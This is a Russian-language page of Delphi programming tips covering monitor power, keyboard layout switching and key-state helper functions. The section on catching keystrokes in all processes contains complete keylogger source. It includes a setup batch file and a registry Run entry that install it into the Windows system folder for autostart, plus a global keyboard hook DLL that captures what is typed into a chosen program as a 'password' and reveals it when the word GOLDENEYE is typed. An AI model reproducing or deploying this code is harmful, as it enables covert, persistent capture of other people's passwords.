Виртуальная библиотека Delphi - [7]

А вот еще интересный прикол.

Включение/выключение монитора программным способом.

Предупреждаю сразу! После того, как вы отключите монитор, просто так вы его уже не включите (хотя это может быть зависит от монитора, я, во всяком случае, не смог). Только после перезагрузки компьютера.

Отключить :

SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);

Включить :

SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);

Переключение языка из программы

Для переключения языка применяется вызов LoadKeyboardLayout:

var russian, latin: HKL;
russian:=LoadKeyboardLayout('00000419', 0);
latin:=LoadKeyboardLayout('00000409', 0);

-- -- -- -- -- где то в программе --- --- ---

SetActiveKeyboardLayout(russian);

Как отловить нажатия клавиш для всех процессов в системе?

Вот, может поможет:

>1. Setup.bat

=== Cut ===

@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg

=== Cut ===

>2.HookAgnt.reg

=== Cut ===

REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"

=== Cut ===

>3.KbdHook.dpr

=== Cut ===

program cwbhook;
uses Windows, Dialogs;
var
 hinstDLL: HINST;
 hkprcKeyboard: TFNHookProc;
 msg: TMsg;
begin
 hinstDLL := LoadLibrary('HookAgnt.dll');
 hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
 SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
 repeat until not GetMessage(msg, 0, 0, 0);
end.

=== Cut === 

>4.HookAgnt.dpr

=== Cut ===

library HookAgent;
uses Windows, KeyboardHook in 'KeyboardHook.pas';
exports KeyboardProc;
var
 hFileMappingObject: THandle;
 fInit: Boolean;
procedure DLLMain(Reason: Integer);
begin
 if Reason = DLL_PROCESS_DETACH then begin
  UnmapViewOfFile(lpvMem);
  CloseHandle(hFileMappingObject);
 end;
end;
begin
 DLLProc := @DLLMain;
 hFileMappingObject := CreateFileMapping(THandle($FFFFFFFF), // use paging file
  nil, // no security attributes
  PAGE_READWRITE, // read/write access
  0, // size: high 32 bits
  4096, // size: low 32 bits
  'HookAgentShareMem' // name of map object
 );
 if hFileMappingObject = INVALID_HANDLE_VALUE then begin
  ExitCode := 1;
  Exit;
 end;
 fInit := GetLastError() <> ERROR_ALREADY_EXISTS;
 lpvMem := MapViewOfFile(
  hFileMappingObject, // object to map view of
  FILE_MAP_WRITE, // read/write access
  0, // high offset: map from
  0, // low offset: beginning
  0); // default: map entire file
 if lpvMem = nil then begin
  CloseHandle(hFileMappingObject);
  ExitCode := 1;
  Exit;
 end;
 if fInit then FillChar(lpvMem, PASSWORDSIZE, #0);
end.

=== Cut ===

>5.KeyboardHook.pas

=== Cut ===

unit KeyboardHook;
interface
uses Windows;
const PASSWORDSIZE = 16;
var
 g_hhk: HHOOK;
 g_szKeyword: array[0..PASSWORDSIZE-1] of char;
 lpvMem: Pointer;
function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;
implementation
 uses SysUtils, Dialogs;
 function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT;
 var
  szModuleFileName: array[0..MAX_PATH-1] of Char;
  szKeyName: array[0..16] of Char;
  lpszPassword: PChar;
 begin
  lpszPassword := PChar(lpvMem);
  if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then begin
   GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
   if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
    lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));
   lstrcat(g_szKeyword, szKeyName);
   GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));
   if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_НАДО__') <> nil) and
    (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then
    lstrcat(lpszPassword, szKeyName);
   if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then begin
    ShowMessage(lpszPassword);
    g_szKeyword[0] := #0;
   end;
   Result := 0;
  end
  else Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
 end;
end.

=== Cut ===

Информация о состоянии клавиатуры

Я хотел бы узнать, при запуске моего приложения, нажата ли клавиша Ctrl. Просто хочется сделать, что-то вроде пароля.

О состоянии клавиатуры дают информацию следующие функции:

GetKeyState, GetAsyncKeyState, GetKeyboardState.

Чтобы упростить себе жизнь и не возиться с этими функциями снова и снова я написал маленькие функции:

function AltKeyDown : boolean;
begin
 result:=(Word(GetKeyState(VK_MENU)) and $8000)<>0;
end;
function CtrlKeyDown : boolean;
begin
 result:=(Word(GetKeyState(VK_CONTROL)) and $8000)<>0;
end;
function ShiftKeyDown : boolean;
begin
 result:=(Word(GetKeyState(VK_SHIFT)) and $8000)<>0;
end;

А заодно и для клавиш переключателей:

function CapsLock : boolean;
begin
 result:=(GetKeyState(VK_CAPITAL) and 1)<>0;
end;
function InsertOn : boolean;
begin
 result:=(GetKeyState(VK_INSERT) and 1)<>0;
end;
function NumLock : boolean;
begin
 result:=(GetKeyState(VK_NUMLOCK) and 1)<>0;
end;
function ScrollLock : boolean;
begin
 result:=(GetKeyState(VK_SCROLL) and 1)<>0;
end;

Управление питанием из программы на Delphi

При написании разнообразны программ типа заставок, менеджеров управления компьютером… возникает необходимость переводить компьютер в режим «спячки». Для включения этого режима в Windows 95 (и только в ней !!) предусмотрена команда API: